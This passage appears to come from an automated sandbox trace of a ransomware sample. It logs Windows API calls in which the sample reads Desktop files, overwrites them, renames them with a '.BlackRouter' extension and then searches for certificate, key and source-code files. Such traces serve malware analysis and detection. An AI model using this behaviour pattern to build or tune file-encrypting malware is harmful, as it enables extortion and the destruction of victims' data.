mlYzHp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\yjfbym 8ps mlyzhp.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\YjfbYM 8Ps mlYzHp.mkv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\yjfbym 8ps mlyzhp.mkv.blackrouter")) returned 1 [0039.879] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0039.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\1bqrJe9Ya _Vsm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\1bqrje9ya _vsm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.880] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x4530 [0039.880] ReadFile (in: hFile=0x25c, lpBuffer=0x2a3e190, nNumberOfBytesToRead=0x4530, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a3e190*, lpNumberOfBytesRead=0x1ae5c8*=0x4530, lpOverlapped=0x0) returned 1 [0039.882] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\1bqrJe9Ya _Vsm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\1bqrje9ya _vsm.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\1bqrJe9Ya _Vsm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\1bqrje9ya _vsm.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4cb3a0, ftCreationTime.dwHighDateTime=0x1d4620d, ftLastAccessTime.dwLowDateTime=0xe932c2a0, ftLastAccessTime.dwHighDateTime=0x1d46603, ftLastWriteTime.dwLowDateTime=0xbe498150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4540)) returned 1 [0039.883] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\1bqrJe9Ya _Vsm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\1bqrje9ya _vsm.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\1bqrJe9Ya _Vsm.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\1bqrje9ya _vsm.gif.blackrouter")) returned 1 [0039.884] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0039.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\mNDuzjfXA_CNY3l.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\mnduzjfxa_cny3l.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.884] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x8c36 [0039.885] ReadFile (in: hFile=0x25c, lpBuffer=0x2a484d0, nNumberOfBytesToRead=0x8c36, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a484d0*, lpNumberOfBytesRead=0x1ae5c8*=0x8c36, lpOverlapped=0x0) returned 1 [0039.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\mNDuzjfXA_CNY3l.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\mnduzjfxa_cny3l.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\mNDuzjfXA_CNY3l.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\mnduzjfxa_cny3l.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62eeba0, ftCreationTime.dwHighDateTime=0x1d45b95, ftLastAccessTime.dwLowDateTime=0xd14a800, ftLastAccessTime.dwHighDateTime=0x1d46663, ftLastWriteTime.dwLowDateTime=0xbe498150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8c40)) returned 1 [0039.889] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\mNDuzjfXA_CNY3l.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\mnduzjfxa_cny3l.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\mNDuzjfXA_CNY3l.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\mnduzjfxa_cny3l.png.blackrouter")) returned 1 [0039.890] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0039.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\BC6N0ORr3hLk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\bc6n0orr3hlk.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.890] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x4cd2 [0039.890] ReadFile (in: hFile=0x25c, lpBuffer=0x2a5bf80, nNumberOfBytesToRead=0x4cd2, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a5bf80*, lpNumberOfBytesRead=0x1ae5c8*=0x4cd2, lpOverlapped=0x0) returned 1 [0039.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\BC6N0ORr3hLk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\bc6n0orr3hlk.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.894] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\BC6N0ORr3hLk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\bc6n0orr3hlk.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9f3a40, ftCreationTime.dwHighDateTime=0x1d465ae, ftLastAccessTime.dwLowDateTime=0x4b65d590, ftLastAccessTime.dwHighDateTime=0x1d45914, ftLastWriteTime.dwLowDateTime=0xbe498150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4ce0)) returned 1 [0039.894] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\BC6N0ORr3hLk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\bc6n0orr3hlk.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\BC6N0ORr3hLk.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\ipm90_lxf\\bc6n0orr3hlk.jpg.blackrouter")) returned 1 [0039.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0039.954] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0039.956] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\ipm90_lxF\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0039.956] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0039.957] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0039.957] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0039.957] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0039.957] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0039.957] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0039.957] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0039.957] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0039.957] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0039.958] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0039.958] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0039.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.958] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x2bea00 [0039.965] ReadFile (in: hFile=0x25c, lpBuffer=0x140dbad8, nNumberOfBytesToRead=0x2bea00, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x140dbad8*, lpNumberOfBytesRead=0x1ae708*=0x2bea00, lpOverlapped=0x0) returned 1 [0040.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0040.153] EtwEventRegister (in: ProviderId=0x28f8f48, EnableCallback=0x1b5b139c, CallbackContext=0x0, RegHandle=0x28f8f28 | out: RegHandle=0x28f8f28) returned 0x0 [0040.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1aaf80) returned 1 [0040.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.263] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.der", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pfx", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.key", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ico", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.265] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.266] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ttf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.266] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.cs", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vb", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.c", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.268] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.py", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.268] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jar", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.268] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.h", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.269] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.plist", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.270] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.backup", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) 